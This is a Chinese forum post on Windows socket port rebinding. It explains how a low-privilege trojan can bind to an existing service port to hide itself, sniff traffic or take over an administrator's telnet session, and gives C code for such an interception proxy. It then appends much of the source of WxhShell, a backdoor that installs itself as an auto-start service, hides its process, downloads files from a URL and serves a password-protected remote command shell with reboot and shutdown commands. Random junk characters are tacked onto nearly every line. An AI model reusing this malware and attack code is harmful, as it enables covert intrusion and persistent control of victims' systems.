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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e+.\pe\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  FZ F @  
ks*Y9D*=  
  saddr.sin_family = AF_INET; ciudRK63M  
uRE*%d>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )P?IqSEA%  
?7 \\e;j}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !^e =P%S  
'cV?i&;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _T5)n=|  
SRZL\m}  
  这意味着什么?意味着可以进行如下的攻击: U3E&n1AA  
pj0fM{E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S,''>`w  
$IVwA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "X04mQn15  
8Hi!kc;f6>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^rL_C}YBj-  
%y&]'A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [ %}u=}@  
\ECu5L4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {hQ6K)s  
Iy';x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <xo-Fv  
*/z??fI27  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 06 i;T~Y  
TW7:q83{l  
  #include Z o=]dBp.  
  #include 1D F/6y  
  #include >xqM5#m`E$  
  #include    n_Onr0EvO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c0_E_~  
  int main() V5mlJml2(  
  { `]=oo%(h  
  WORD wVersionRequested; vi!YN|}\  
  DWORD ret; C$d>_ r  
  WSADATA wsaData; t{dSX?<nt  
  BOOL val; AQss4[\Dx  
  SOCKADDR_IN saddr; t P"\J(x  
  SOCKADDR_IN scaddr; u,1}h L  
  int err; +/rH(Ni  
  SOCKET s; ~6aCfbu%V  
  SOCKET sc; }tG3tz0%fX  
  int caddsize; 2&Jd f  
  HANDLE mt; }7s>B24J  
  DWORD tid;   hePPxKQ-  
  wVersionRequested = MAKEWORD( 2, 2 ); OtTBErQNF  
  err = WSAStartup( wVersionRequested, &wsaData ); 5GQLd  
  if ( err != 0 ) { >9H@|[C  
  printf("error!WSAStartup failed!\n"); +9XQ[57  
  return -1; :7g=b%;  
  } T6#CK  
  saddr.sin_family = AF_INET; g&Vcg`  
   `.%JjsD<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !ABiy6d  
rJJ[X4$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vUA0FoOp  
  saddr.sin_port = htons(23); Sv'y e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l"(6]Z 4  
  { e`K)_>^n#  
  printf("error!socket failed!\n"); Zg~nlO2  
  return -1; ]m4OIst  
  } 1L nyWZ  
  val = TRUE; dRi5hC$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Dg HaOAdU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Rp9fO?ZjHt  
  { Q`%R[#  
  printf("error!setsockopt failed!\n"); <#M`5X.  
  return -1; 1f'Hif*r_X  
  } N587(wZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O#a6+W"U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (X[CsaXt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &HW1mNF9  
X2|Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N8r*dadDd  
  { en F:>H4  
  ret=GetLastError(); (1R?s>3o  
  printf("error!bind failed!\n"); L!Cz'm"Nl  
  return -1; laKuOx}  
  } Pmg)v!"  
  listen(s,2); (ll*OVL  
  while(1) iRV~Il#~!  
  { FR[ B v  
  caddsize = sizeof(scaddr); fvq,,@23  
  //接受连接请求 OZY,@c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H)w(q^i  
  if(sc!=INVALID_SOCKET) S~Z|PLtF  
  { ^Xb7[ +I6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); = &wmWy  
  if(mt==NULL) hU]HTX'R  
  { %V`F!D<D  
  printf("Thread Creat Failed!\n"); #H?t!DU  
  break; !$;a[Te  
  } $~0Q@):  
  } WE6a'  
  CloseHandle(mt); /iC;%r1L  
  } v1JS~uDz  
  closesocket(s); /cr}N%HZB  
  WSACleanup(); Ys+OB*8AE  
  return 0; H5CR'Rp  
  }   $?G"GQ!.  
  DWORD WINAPI ClientThread(LPVOID lpParam) g>rp@M  
  { l%ayI  
  SOCKET ss = (SOCKET)lpParam; oX@ya3!Pz  
  SOCKET sc; )tHaB,  
  unsigned char buf[4096]; LVJI_O{fH  
  SOCKADDR_IN saddr; ^N}Wnk7ks'  
  long num; b-U eIjX  
  DWORD val; 7?8wyk|x  
  DWORD ret; {5r0v#;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >T2LEW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E/&Rb*3  
  saddr.sin_family = AF_INET; u%/fx~t$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H=*5ASc  
  saddr.sin_port = htons(23); im} ?rY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {Gq*e/  
  { <ljI;xE  
  printf("error!socket failed!\n"); %CwL:.|  
  return -1; zya5Jb:Sg  
  } \Ng\B.IQ  
  val = 100; \<Sv3xy&O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YJg,B\z}  
  { 0~wF3BgV  
  ret = GetLastError(); 9SlNq05G7  
  return -1; eI.2`)>  
  } $Nrm!/)*'}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <~TP#uAz  
  { pLa[}=  
  ret = GetLastError(); '{ I_\~*  
  return -1; XC 7?VE  
  } 8.' #?]a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KrVcwAcq|1  
  { ^-mRP\5  
  printf("error!socket connect failed!\n"); S##1GOO  
  closesocket(sc); \^(0B8|w  
  closesocket(ss); 9a\nszwa  
  return -1; JO=[YoTr  
  } Spo?i.#  
  while(1)  ~ ~uAc_  
  { ETp%s{8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y@2epY?{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I? THa<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 alh >"9~!  
  num = recv(ss,buf,4096,0); `Y-|H;z  
  if(num>0) )"f N!9,F  
  send(sc,buf,num,0); C%*k.$#r!  
  else if(num==0) Mb3}7@/[  
  break; Om{l>24i.\  
  num = recv(sc,buf,4096,0); k#[F`  
  if(num>0) (b?{xf'G  
  send(ss,buf,num,0); +3s%E{  
  else if(num==0) qq)0yyL r  
  break; 3lV^B[$  
  } Pe C7  
  closesocket(ss); PH"hn]  
  closesocket(sc); Vpy 2\wZWb  
  return 0 ; hA\K</h.  
  } [."[pY  
`V)Z)uN{0  
t8^m`W  
========================================================== s9dO,FMs0t  
i)#:qAtP*  
下边附上一个代码,,WXhSHELL E_KCNn-f  
UAR5^  
========================================================== ycFio ,  
GgaTn!mJt  
#include "stdafx.h" m<L;  
rc+C?)S  
#include <stdio.h> =rdY @  
#include <string.h> | mu+9   
#include <windows.h> gP+fN$5'd  
#include <winsock2.h> eh,~^x5  
#include <winsvc.h> I^o!n5VM  
#include <urlmon.h> |ZodlYF  
+T9:Udi  
#pragma comment (lib, "Ws2_32.lib") BpX6aAx  
#pragma comment (lib, "urlmon.lib") n|GaV  
LZMYr  
#define MAX_USER   100 // 最大客户端连接数 hhoEb(BA  
#define BUF_SOCK   200 // sock buffer f+rz|(6vs{  
#define KEY_BUFF   255 // 输入 buffer 4f(Kt,0  
6} FO[  
#define REBOOT     0   // 重启 u?s VcD[  
#define SHUTDOWN   1   // 关机 olLfko4$*V  
kB5.(O  
#define DEF_PORT   5000 // 监听端口 NrP0Ep%V  
p ?wI9GY  
#define REG_LEN     16   // 注册表键长度 cb5,P~/q  
#define SVC_LEN     80   // NT服务名长度 2Z20E$Cb  
42>Ge>#F  
// 从dll定义API [{C )LDN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s=?g\oR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8kP3+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NEa>\K<\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r>bJ%M}  
N'xSG`,Mg  
// wxhshell配置信息 (E]!Z vE  
struct WSCFG { A(]H{>PMy  
  int ws_port;         // 监听端口 `9k0Gd  
  char ws_passstr[REG_LEN]; // 口令 0Z{j>=$  
  int ws_autoins;       // 安装标记, 1=yes 0=no npRS Ev  
  char ws_regname[REG_LEN]; // 注册表键名 !n6wWl  
  char ws_svcname[REG_LEN]; // 服务名 /b|0PMX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?xK,mbFgl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q f(p~a(d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LJoGpr 8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e8'wG{3A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AIA6yeaU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7)h[Zy,A  
pLv$\ MiZ  
}; ;-UmY}MU  
g/13~UM\  
// default Wxhshell configuration I(=V}s2  
struct WSCFG wscfg={DEF_PORT, d GP*O  
    "xuhuanlingzhe", };'\~g,1  
    1, u1xSp<59C  
    "Wxhshell", 9W5onn  
    "Wxhshell", t43)F9!  
            "WxhShell Service", !bV5Sr^  
    "Wrsky Windows CmdShell Service", ]({~,8s  
    "Please Input Your Password: ", 43V}# DA@  
  1, Pz$R(TV  
  "http://www.wrsky.com/wxhshell.exe", q\\gpCgp  
  "Wxhshell.exe" NH_<q"gT  
    }; !nAX$i~  
Ecs,$\  
// 消息定义模块 %v2R.?F8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H(Eh c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I@\OaUGr+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BC'llD  
char *msg_ws_ext="\n\rExit."; 9)VF 1LD  
char *msg_ws_end="\n\rQuit."; -GLMmZJt  
char *msg_ws_boot="\n\rReboot..."; l3 DYg  
char *msg_ws_poff="\n\rShutdown..."; 1#1 riM -  
char *msg_ws_down="\n\rSave to "; u+{a8=  
/PsnD_s]5  
char *msg_ws_err="\n\rErr!"; }jill+]  
char *msg_ws_ok="\n\rOK!"; A=Ss6 -Je  
^_lzZOhG  
char ExeFile[MAX_PATH]; |F#1C9]P  
int nUser = 0; 8b0d]*q  
HANDLE handles[MAX_USER]; 5E notp[  
int OsIsNt; | [ >UH  
S8e{K  
SERVICE_STATUS       serviceStatus; H.UX,O@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [V:\\$  
2k<;R':  
// 函数声明 q{+_ <2U|  
int Install(void); fU!<HD h  
int Uninstall(void); <oz!H[!  
int DownloadFile(char *sURL, SOCKET wsh); zRPeNdX  
int Boot(int flag); .CFa9"<  
void HideProc(void); CW<N: F.9  
int GetOsVer(void); H*9~yT' Q  
int Wxhshell(SOCKET wsl); p uT'y  
void TalkWithClient(void *cs); \rPbK+G.  
int CmdShell(SOCKET sock); 6d+p7x  
int StartFromService(void); Afk$?wkL  
int StartWxhshell(LPSTR lpCmdLine); B-l'vVx  
Uk\Id ~xLV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H<1WbM:w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B2ec@]uD`  
36am-G  
// 数据结构和表定义 MeUaTJFEB  
SERVICE_TABLE_ENTRY DispatchTable[] = @}kv-*  
{ xC tmXo  
{wscfg.ws_svcname, NTServiceMain}, ~RWktv  
{NULL, NULL} _/O25% l  
}; ~/*MY  
g(4xC7xK6  
// 自我安装 1T[et-  
int Install(void) Y/7 $1k  
{ H@l}WihW  
  char svExeFile[MAX_PATH]; !fj(tPq  
  HKEY key; uIZWO.OdU  
  strcpy(svExeFile,ExeFile); "U7qo}`I  
5YrBW:_OI  
// 如果是win9x系统,修改注册表设为自启动 "Y\_TtY  
if(!OsIsNt) { 5<w g 8y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2,*M|+W~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4rrSb*  
  RegCloseKey(key); o*J3C>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yiO. z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v,ju!I0.  
  RegCloseKey(key); p/h Rk<K6  
  return 0; YY!Rz[/  
    } @9"J|}  
  } |6< p(i7  
} e;(0(rI  
else { |iwP:C^\mJ  
& \f{E\A#  
// 如果是NT以上系统,安装为系统服务 s;A@*Y;v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cb}[S:&|  
if (schSCManager!=0) uS^Ipxe\  
{ ye MB0Z*r  
  SC_HANDLE schService = CreateService YD7Oao4:o  
  ( $ , u+4h  
  schSCManager, X*\ J_  
  wscfg.ws_svcname, ->V<DZK  
  wscfg.ws_svcdisp, y`=]T>X&x  
  SERVICE_ALL_ACCESS, Ywwu0.H<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '  <=+;q  
  SERVICE_AUTO_START, ?5 {>;#0Z  
  SERVICE_ERROR_NORMAL, yNbjoFM.i  
  svExeFile, pfI"36]F  
  NULL, Nal9M[]c  
  NULL, jB(|";G  
  NULL, 9B9(8PVG  
  NULL, 5^x1cUB]  
  NULL Z+=@<i''  
  ); j?+X\PtQ  
  if (schService!=0) ?[ lV-  
  { <.? jc%  
  CloseServiceHandle(schService); 1 9CK+;b  
  CloseServiceHandle(schSCManager); H/37)&$E(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J_4!2v!6e  
  strcat(svExeFile,wscfg.ws_svcname); [D4Es  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >j QWn@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J7g8D{4  
  RegCloseKey(key); v'3J.?N  
  return 0; .yEBOMNZ  
    } 7yh /BZ1  
  } @qYp>|AF  
  CloseServiceHandle(schSCManager); [;J>bi;3N  
} @ rc{SB  
} MpR2]k#n<  
Sb82}$sO  
return 1; Kuu *&u  
} p|p l  
_+E5T*dk  
// 自我卸载 Ug<#en  
int Uninstall(void) qO|R^De  
{ m*kl  
  HKEY key; 1bn^.768l  
=UfsL%  
if(!OsIsNt) { XSyHk"g`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m+T;O/lG0{  
  RegDeleteValue(key,wscfg.ws_regname); e-EUf  
  RegCloseKey(key); ~o~!+`@q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {   #^A*  
  RegDeleteValue(key,wscfg.ws_regname); <d$x.in  
  RegCloseKey(key); JVSA&c%3  
  return 0; VG ;kPzze  
  } "[ZB+-|[0  
} LHo3 Niy.  
} g0["^P1tV  
else { :BV6y|J9O^  
B e0ND2oo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [UWd W  
if (schSCManager!=0) 9j6QX ~,  
{ )O@]uY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9~/J35  
  if (schService!=0) z)r =+ -  
  { YOmM=X+'H  
  if(DeleteService(schService)!=0) { DBr ZzA  
  CloseServiceHandle(schService);  KJaXg;,H  
  CloseServiceHandle(schSCManager); yj.7'{mA  
  return 0; 7E79-r&n  
  } fy@<&U5rg  
  CloseServiceHandle(schService); %2{ %Obp'  
  } |#cm`v  
  CloseServiceHandle(schSCManager); =V-|#j  
} kTu[ y;  
} heC/\@B  
Ay0U=#XP  
return 1; 2$g6}A`r  
} >8#X;0\Kj  
SPY|K  
// 从指定url下载文件 Ssou  
int DownloadFile(char *sURL, SOCKET wsh) g'n7T|h ~  
{ +b3RkkC  
  HRESULT hr; ic#`N0s?  
char seps[]= "/"; VKG&Y_7N  
char *token; 'R'*kxf  
char *file; V8C:"UZ;  
char myURL[MAX_PATH]; b)qoh^  
char myFILE[MAX_PATH]; |Sy<@oq  
Pama#6?OPh  
strcpy(myURL,sURL); qGB{7-ru  
  token=strtok(myURL,seps); iW%I|&  
  while(token!=NULL) H2jgO?l;!  
  { nG'&ZjA  
    file=token; 3yU.& k  
  token=strtok(NULL,seps); (mTE;s(  
  } lvBx\e;7P  
v,-HU&/*B  
GetCurrentDirectory(MAX_PATH,myFILE); Uyg5i[&X@  
strcat(myFILE, "\\"); aJbO((%$|u  
strcat(myFILE, file); 8m\7*l^D:  
  send(wsh,myFILE,strlen(myFILE),0); 0uOkMuy<  
send(wsh,"...",3,0); rrBsb -  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xSsa(b  
  if(hr==S_OK) - -HZX  
return 0; H Y&DmE  
else [S9K6%w_!  
return 1; 4~Vx3gEV:  
W14 J],{L  
} 8QLj["   
pz\ +U7  
// 系统电源模块 IoQEtA  
int Boot(int flag) z<U-#k7nz  
{ ORHp$Un~)  
  HANDLE hToken; ?mFv0_!O  
  TOKEN_PRIVILEGES tkp; _VRpI)mu  
Vt %bI0#  
  if(OsIsNt) { N~goI#4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dwr)0nk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1PQ~jfGi  
    tkp.PrivilegeCount = 1; nYR#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wz49i9e+d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [q) 8N  
if(flag==REBOOT) { bMg(B-uF7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ui_8)z _  
  return 0; |ef7bKU8  
} eTI%^d|  
else { [!HEQ8 2g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XHK<AO^  
  return 0; r@h5w_9  
} #~}nFY.  
  } zZPuha8  
  else { e6R}0w~G  
if(flag==REBOOT) { _~IR6dKE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X0bN3N  
  return 0; LtWP0@JA  
} =n5zM._S-  
else { BP'36?=Zo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -3t7*  
  return 0; : UGZ+  
} #>b3"[ |  
} v5!d$Vctu  
2&:f&"  
return 1; DBW[{D E  
} WejY y|  
`<`` 8  
// win9x进程隐藏模块 :|V$\!o'U  
void HideProc(void) Q]Y*K  
{ q0i(i.h  
8Wrh]egu1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l2zFKCGF(  
  if ( hKernel != NULL ) s @&`f{  
  { 3 }TaF~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0%9 q8 M;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zT =Ho   
    FreeLibrary(hKernel); j"ThEx0  
  } Y;dz,}re  
T*8VDY7  
return; >BIMi^  
} f=(?JT  
Y_;#UU689  
// 获取操作系统版本 ] bM)t<  
int GetOsVer(void) q+H%)kF  
{ 6]V4muz#c  
  OSVERSIONINFO winfo; bU>U14ix<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \f]k CB  
  GetVersionEx(&winfo); <C1H36p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C]O(T2l{l  
  return 1; RkH W   
  else x[wq]q#*  
  return 0; fM]+SMZy  
} ypbe!Y<i]  
3EV;LH L  
// 客户端句柄模块 |4)>:d  
int Wxhshell(SOCKET wsl) K SbKEA  
{ w j*,U~syB  
  SOCKET wsh; Jj>?GAir  
  struct sockaddr_in client; NO7J!k?  
  DWORD myID; +6sy-<ZL:  
Ed0QQyC@9  
  while(nUser<MAX_USER) ^ZvWR%  
{ sv: 9clJ  
  int nSize=sizeof(client); *;l]8.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e}D3d=6`  
  if(wsh==INVALID_SOCKET) return 1; 9A/\h3HrJ  
RY]#<9>M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <6EeD5{*  
if(handles[nUser]==0) s [M?as  
  closesocket(wsh); i2@VB6]?  
else y~Bh  
  nUser++; n&{Dq}q  
  } {'XggI%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R?GDJ3  
.GsV>H  
  return 0; m;H.#^b*  
} c&r70L,  
`>gd&u  
// 关闭 socket wg7V-+@i  
void CloseIt(SOCKET wsh) )<oJnxe]  
{ Y'c>:;JEe  
closesocket(wsh); j|4<i9^}  
nUser--; m4TE5q%3  
ExitThread(0); R}G4rO-J  
} ebm])~ZL  
T_i:}ul  
// 客户端请求句柄 $*SW8'],`  
void TalkWithClient(void *cs) j5K]CTz#  
{ *EOdEFsR/  
GQt8p[!  
  SOCKET wsh=(SOCKET)cs; "oTHq]Ku  
  char pwd[SVC_LEN]; 7F zA*  
  char cmd[KEY_BUFF]; Of- Rx/  
char chr[1]; p6 ]7&{>  
int i,j; ge,H-8'Z  
kY&k-K\  
  while (nUser < MAX_USER) { 'z0:Ccbj  
sR(9IW-  
if(wscfg.ws_passstr) { 1 9&<|qTz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )LdP5z-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %@wJ`F2a_  
  //ZeroMemory(pwd,KEY_BUFF); pf%=h |  
      i=0; 52Sa KA[  
  while(i<SVC_LEN) { o}$XH,-9&  
5A%w 8Qv  
  // 设置超时 b1^vd@(lx  
  fd_set FdRead; Ozw;(fDaU  
  struct timeval TimeOut; y-T| #  
  FD_ZERO(&FdRead); ^M3~^lV  
  FD_SET(wsh,&FdRead); )` SE S."  
  TimeOut.tv_sec=8; !Nu<xq@!  
  TimeOut.tv_usec=0; ?p9VO.^5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3[\iQ*d }B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J{l1nHQZSu  
*'OxAfa#x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u6M.'  
  pwd=chr[0]; l,R/Gl  
  if(chr[0]==0xd || chr[0]==0xa) { /mXBvY  
  pwd=0; ?5U2D%t  
  break; Da&vb D-Bg  
  } m#8m] Y  
  i++; c|lu&}BS  
    } ?Y)vGlWDW<  
c;%_EN%  
  // 如果是非法用户,关闭 socket wHsYF`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ot:CPm@  
} Vx(B{5>Vu  
8yRJD[/S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k ]W[`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3,>0a  
g3Ec"_>P  
while(1) { ln$&``L  
\qR7mI/*  
  ZeroMemory(cmd,KEY_BUFF); INcg S MM  
n?A6u\sQ  
      // 自动支持客户端 telnet标准   ICuF %  
  j=0; unshH<  
  while(j<KEY_BUFF) { 0T@Zb={  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H70LhN  
  cmd[j]=chr[0]; H]Cy=Zi"  
  if(chr[0]==0xa || chr[0]==0xd) { &/mA7Vf>eR  
  cmd[j]=0;  '/`= R  
  break; 7bqBk,`9  
  } zBo1P(kek  
  j++;  i7]4W  
    } tDSJpW'd  
=fu :@+  
  // 下载文件 U2{ dN>  
  if(strstr(cmd,"http://")) { h lkn%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W;_nK4$%'  
  if(DownloadFile(cmd,wsh)) q/4YS0CqE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I*LknU@  
  else ~ }F{vm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  =Qh\D  
  } NXwz$}}Pp  
  else { W4hbK9y  
e&7JpT  
    switch(cmd[0]) { D-8O+.@  
  Fkvl%n  
  // 帮助 9v?N+Rb  
  case '?': { LAVAFlK5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RMX:9aQ3F  
    break; 6;C3RU]  
  } :q=%1~Idla  
  // 安装 1v,Us5s<"6  
  case 'i': { aD=a,  
    if(Install()) &$"i,~q^b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )A!>=2M `  
    else 9l}FU$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t0z!DOODZP  
    break; -M%_\;"de  
    } [`p=(/I&L  
  // 卸载 MxWy*|J}  
  case 'r': { bSsh^Z  
    if(Uninstall()) *\=.<|HZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~GTz:nC*  
    else hZh9uI7.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^[]}R:  
    break; #Xhdn\7  
    } "J+3w  
  // 显示 wxhshell 所在路径 bA= |_Wt  
  case 'p': { uvtF_P/  
    char svExeFile[MAX_PATH]; .%.9n\b  
    strcpy(svExeFile,"\n\r"); 1c<=A!"{  
      strcat(svExeFile,ExeFile); /3e KN  
        send(wsh,svExeFile,strlen(svExeFile),0); V2$h8\a  
    break; ~\=1'D^6CK  
    } =0^Ruh  
  // 重启 Q>/C*@  
  case 'b': { \cC%!4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I?"q/Ub~h  
    if(Boot(REBOOT)) Vl%^H[]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ._8KsuJG  
    else { A]YV s  
    closesocket(wsh); \]P!.}nX#  
    ExitThread(0); &07]LF$]  
    } ^&bRX4pYo  
    break; vr0WS3  
    } , #U .j  
  // 关机 'a$Gv&fu  
  case 'd': { j6>.n49_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T^T[$26  
    if(Boot(SHUTDOWN)) Y|8:;u'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BhM '@g*  
